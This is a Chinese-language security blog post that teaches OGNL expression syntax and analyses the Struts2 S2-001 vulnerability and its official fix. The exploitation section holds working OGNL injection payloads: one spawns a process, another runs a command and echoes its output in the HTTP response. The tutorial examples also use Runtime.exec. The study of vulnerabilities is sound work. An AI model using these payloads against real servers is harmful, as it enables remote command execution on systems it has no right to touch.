Struts2
Struts2简介
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
OGNL表达式
对于Struts2的漏洞,ONGL表达式是相关的基础,我们来做相关了解
OGNL简介
OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
它使用相同的表达式去存取对象的属性。
环境配置
环境配置具体看这位师傅的文章了
https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md
OGNL表达式
OGNL三要素
表达式是OGNL表达式中最为核心的部分,所有的OGNL操作都是针对表达式解析后进行的。通过表达式来告诉OGNL操作到底要干什么。因此表达式是一个带有语法意义的字符串,该字符串会规定操作的类型和内容。OGNL 表达式支持大量的表达式,如 “链式访问对象”、表达式计算、甚至还支持 Lambda 表达式。
OGNL 的 Root 对象可以理解为 OGNL 的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是 Root 对象,这就意味着,如果有一个 OGNL 表达式,那么我们需要针对 Root 对象来进行 OGNL 表达式的计算并且返回结果。
有个 Root 对象和表达式,我们就可以使用 OGNL 进行简单的操作了,如对 Root 对象的赋值与取值操作。但是,实际上在 OGNL 的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL 的上下文环境是一个 Map 结构,称之为 OgnlContext。Root 对象也会被添加到上下文环境当中去。
OGNL基础使用
pom.xml文件导入
1 2 3 4 5
| <dependency> <groupId>ognl</groupId> <artifactId>ognl</artifactId> <version>3.1.19</version> </dependency>
|
我们先来创建两个实体类
Address.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package pojo;
public class Address { private String port; private String address;
public Address(String port,String address) { this.port = port; this.address = address; }
public String getPort() { return port; }
public void setPort(String port) { this.port = port; }
public String getAddress() { return address; }
public void setAddress(String address) { this.address = address; } }
|
User.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| package pojo;
public class User {
private String name; private int age; private Address address;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public Address getAddress() { return address; }
public void setAddress(Address address) { this.address = address; }
public User() {}
public User(String name, int age) { this.name = name; this.age = age; } }
|
对ROOT对象的访问
OGNL使用一种链式风格进行对对象的访问
链式编程,如其名是一条长长的链子,类似如下
1 2 3
| StringBuffer buffer = new StringBuffer();
buffer.append("aaa").append("bbb").append("ccc");
|
对应代码如下
1 2 3 4 5 6 7 8 9 10 11
| public class Test { public static void main(String[] args) throws Exception{ User user = new User("sean", 20); Address address = new Address("045000", "山西晋中"); user.setAddress(address); System.out.println(Ognl.getValue("name", user)); System.out.println(Ognl.getValue("name.length()", user)); System.out.println(Ognl.getValue("address", user).toString()); System.out.println(Ognl.getValue("address.port", user)); } }
|

对上下文对象的访问
使用OGNL的时候,若不设置上下文对象,系统就会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象的参数,则会使用传入的上下文对象
当我们访问上下文环境中的参数时,需要在表达式前面加#
,表示了与访问根ROOT对象的区别
对应代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class Test { public static void main(String[] args) throws Exception{ User user = new User("sean", 20); Address address = new Address("045000", "山西晋中"); user.setAddress(address); Map<String, Object> context = new HashMap<String, Object>(); context.put("init", "hello"); context.put("user", user); System.out.println(Ognl.getValue("#init", context, user)); System.out.println(Ognl.getValue("#user.name", context, user)); System.out.println(Ognl.getValue("age", context, user)); System.out.println(Ognl.getValue("#user", context, user));
} }
|

对静态变量与静态方法的访问
同样的,OGNL也可以对静态变量和静态方法进行调用,格式如\@[class]@[field/method ()]
对应代码如下
1 2 3 4 5 6 7 8 9 10
| public class Test { public static void main(String[] args) throws Exception{ AtVisit(); } public static void AtVisit() throws OgnlException { Object object1 = Ognl.getValue("@com.Static@ABC", null); Object object2 = Ognl.getValue("@com.Static@exec(\"calc\")", null); System.out.println(object1); } }
|
静态调用的类代码如下
1 2 3 4 5 6 7 8
| public class Static { public static String ABC = "calc";
public static void exec(String cmd) throws IOException { Runtime.getRuntime().exec(cmd); }; }
|
其中调用静态方法时的返回的object2,是基于静态方法的返回值,这里师傅们可以自行修改尝试

方法的调用
如果需要调用 Root 对象或者上下文对象当中的方法也可以使用 . 方法的方式来调用。甚至可以传入参数。就和正常的方法调用是一样的,在传参时也可以使用OGNL表达式来传入参数
对应代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class Test { public static void main(String[] args) throws Exception{ User user = new User(); Map<String, Object> context = new HashMap<String, Object>(); context.put("name", "sean"); context.put("password", "password"); System.out.println(Ognl.getValue("getName()", context, user)); Ognl.getValue("setName(#name)", context, user); System.out.println(Ognl.getValue("getName()", context, user)); Ognl.getValue("setName(@com.Static@exec(\"calc\"))", context, user); System.out.println(Ognl.getValue("getName()", context, user)); } }
|

对数组和集合的访问
OGNL 支持对数组按照数组下标的顺序进行访问。此方式也适用于对集合的访问,对于 Map 支持使用键进行访问
其中可以使用数字的加减,字符的拼接来访问,还有如下一些简单操作
1 2 3 4 5
| 2 + 4 "hell" + "lo" i++ i == j var in list
|
对应代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class Test { public static void main(String[] args) throws Exception{ User user = new User(); Map<String, Object> context = new HashMap<String, Object>(); String[] strings = {"aa", "bb"}; ArrayList<String> list = new ArrayList<String>(); list.add("aa"); list.add("bb"); Map<String, String> map = new HashMap<String, String>(); map.put("key1", "value1"); map.put("key2", "value2"); context.put("list", list); context.put("strings", strings); context.put("map", map); System.out.println(Ognl.getValue("#strings[0]", context, user)); System.out.println(Ognl.getValue("#list[0]", context, user)); System.out.println(Ognl.getValue("#list[0 + 1]", context, user)); System.out.println(Ognl.getValue("#map['key1']", context, user)); System.out.println(Ognl.getValue("#map['key' + '2']", context, user)); } }
|

投影与选择
OGNL 支持类似数据库当中的选择与投影功能
选出集合当中相同属性组合成一个新的集合,语法为collection.{XXX}
,其中XXX是该集合中每个元素的公共属性
选择就是选出集合中符合条件的元素组合成一个新的集合,语法为collection.{Y XXX}
,其中Y是一个选择操作符,XXX是选择用的逻辑表达式
其中选择操作符有三种
- ?:选择满足条件的所有元素
- ^:选择满足条件的第一个元素
- $:选择满足条件的最后一个元素
对应代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class Test { public static void main(String[] args) throws Exception{ User p1 = new User("name1", 11); User p2 = new User("name2", 22); User p3 = new User("name3", 33); User p4 = new User("name4", 44); Map<String, Object> context = new HashMap<String, Object>(); ArrayList<User> list = new ArrayList<User>(); list.add(p1); list.add(p2); list.add(p3); list.add(p4); context.put("list", list); System.out.println(Ognl.getValue("#list.{age}", context, list));
System.out.println(Ognl.getValue("#list.{age + '-' + name}", context, list));
System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list));
System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list));
System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list));
} }
|

创建对象
OGNL支持直接使用表达式来创建对象,其中有三种情况
- List对象:使用
{}
,中间使用,
进行分割
- Map对象:使用
#{}
,中间使用,
进行分割键值对
- 任意对象:直接使用已知对象的构造方法进行构造
1 2 3 4 5 6 7 8
| public class Test { public static void main(String[] args) throws Exception{ System.out.println(Ognl.getValue("#{'key1':'value1','key2':'value2'}", null)); System.out.println(Ognl.getValue("{'key1','value1'}", null)); System.out.println(Ognl.getValue("new pojo.User()", null));
} }
|

这里可以直接创建任意对象,感觉就很有攻击面了,可以直接命令执行
代码如下,两者皆可执行
1 2 3 4 5 6 7
| public class EvilCalc { public static void main(String[] args) throws OgnlException { Ognl.getValue("new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"}).start()", null);
Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", null); } }
|

S2-001
漏洞影响范围
- WebWork 2.1 (with altSyntax enabled)
- WebWork 2.2.0 - WebWork 2.2.5
- Struts 2.0.0 - Struts 2.0.8
而 Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3 所以会有漏洞
流程分析
我们这里看到struts的Filter
,org.apache.struts2.dispatcher.FilterDispatcher
类的doFilter
方法
在该方法中,它做了以下业务:
- 设置编码和本地化信息
- 创建 ActionContext 对象
- 分配当前线程的分发器
- 将request对象进行封装
- 获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
- 执行 Action 请求, 也就是
serviceAction()
方法

在doFilter
方法中下到断点,前面做了一些基础的数据转换和获取,最后我们跟进serviceAction
方法

首先获取当前请求是否已经有ValueStack
对象,如果是接收到chain跳转方式的请求时,能够接管上次请求的请求和数据。
如果没有 ValueStack 对象,获取当前线程的ActionContext对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中
后续获取 ActionMapping 中配置的 namespace, name, method 值

这里通过ActionProxyFactory
创建了ActionProxy
对象,在这个过程中也会创建StrutsActionProxy
的实例,StrutsActionProxy
是继承自com.opensymphony.xwork2.DefaultActionProxy
,实际在该代理对象的内部就持有了DefaultActionInvocation
的实例,下一步就为Action代理对象设置执行的方法。

继续跟进到proxy.execute()
方法内,可以看到这里获取了上下文,并用setter方法赋值上下文
但这里只是对一些数据进行操作,具体的业务逻辑我们进入invoke方法中查看

进入invoke
方法后,在interceptors.hasNext
判断中,使用迭代器进行顺序递归执行配置的所有拦截器, 所迭代的内容是Struts包中default.xml
文件内配置的interceptors标签中的内容

在这么多拦截器中,param
是用来处理我们输入的参数的,所有对于OGNL表达式的处理,应该在这个interceptor中,对于该漏洞的本质,其实就是在Struct2中哪个地方进行了OGNL表达式的解析操作

在迭代器处理完成后,我们就进入到了invokeActionOnly
方法中

在invokeActionOnly
方法中,调用了invokeAction
方法,我们走进该方法中调试,发现最后经过反射调用execute
方法,开始处理用户的逻辑信息
1 2 3
| public String invokeActionOnly() throws Exception { return invokeAction(getAction(), proxy.getConfig()); }
|

处理完用户逻辑后,我们步出该方法,继续向下走,最终跟进executeResult()

首先用creatResult
创建了一个result对象,主要逻辑肯定在execute
方法内,继续跟进

走入execute
方法中,继续走进doExecute
方法内
在doExecute
方法内,准备了发送响应信息,设置了pageContext参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public void execute(ActionInvocation invocation) throws Exception { this.lastFinalLocation = this.conditionalParse(this.location, invocation); this.doExecute(this.lastFinalLocation, invocation); }
public void doExecute(String finalLocation, ActionInvocation invocation) throws Exception { if (log.isDebugEnabled()) { log.debug("Forwarding to location " + finalLocation); }
PageContext pageContext = ServletActionContext.getPageContext(); if (pageContext != null) { pageContext.include(finalLocation); } else { HttpServletRequest request = ServletActionContext.getRequest(); HttpServletResponse response = ServletActionContext.getResponse(); RequestDispatcher dispatcher = request.getRequestDispatcher(finalLocation); if (dispatcher == null) { response.sendError(404, "result '" + finalLocation + "' not found"); return; }
if (!response.isCommitted() && request.getAttribute("javax.servlet.include.servlet_path") == null) { request.setAttribute("struts.view_uri", finalLocation); request.setAttribute("struts.request_uri", request.getRequestURI()); dispatcher.forward(request, response); } else { dispatcher.include(request, response); } }
}
|
之后会调用JspServlet
来处理请求,解析标签时,在标签的开始和结束位置,分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport
中的 doStartTag()
(一些初始化操作) 及 doEndTag()
(标签解析后调用end方法)方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public int doEndTag() throws JspException { this.component.end(this.pageContext.getOut(), this.getBody()); this.component = null; return 6; }
public boolean end(Writer writer, String body) { this.evaluateParams();
try { super.end(writer, body, false); this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate())); } catch (Exception var7) { Exception e = var7; LOG.error("error when rendering", e); } finally { this.popComponentStack(); }
return false; }
|
跟进evaluateParams
方法,在该if判断中,因为altSyntax默认开启,所以走入if判断中
将username拼接进%{}
中,这里本意是想使用%{username}
来获取域中的username参数,但是由于存在循环解析,使用造成了OGNL注入

我们继续看到findValue
方法中,进行寻找值的操作,并继续走入translateVariables
方法
在这里,会将拼接好的%{username}
中的%{
和}
截取,只剩下username
然后使用findValue方法,将我们所输入的username查找出来并赋值给o,也就是我们输入的%{10*10}
,然后进行新的一次循环,将我们输入的东西再次当成OGNL表达式解析,就造成了此漏洞

漏洞利用
漏洞利用基于上述的OGNL表达式
1 2 3
| %{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd","-c","clac"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
|

漏洞修复
通过漏洞分析可以看到,是由于 struts2 错误的使用了递归循环来进行OGNL表达式的解析,所导致的OGNL表达式的执行
官方修复如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) { Object result = expression; int loopCount = 1; int pos = 0; while (true) {
int start = expression.indexOf(open + "{", pos); if (start == -1) { pos = 0; loopCount++; start = expression.indexOf(open + "{"); } if (loopCount > maxLoopCount) { break; } int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); }
String left = expression.substring(0, start); String right = expression.substring(end + 1); String middle = null; if (o != null) { middle = o.toString(); if (!TextUtils.stringSet(left)) { result = o; } else { result = left + middle; }
if (TextUtils.stringSet(right)) { result = result + right; }
expression = left + middle + right; } else { result = left + right; expression = left + right; } pos = (left != null && left.length() > 0 ? left.length() - 1: 0) + (middle != null && middle.length() > 0 ? middle.length() - 1: 0) + 1; pos = Math.max(pos, 1); } else { break; } }
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); }
|
其中很明显多了一段代码,这里判断了循环的次数,从而在解析到%{1+1}
的时候不会继续向下递归
1 2 3 4
| if (loopCount > maxLoopCount) { break; }
|
总结
这个OGNL表达式解析的地方分析的我好头疼TvT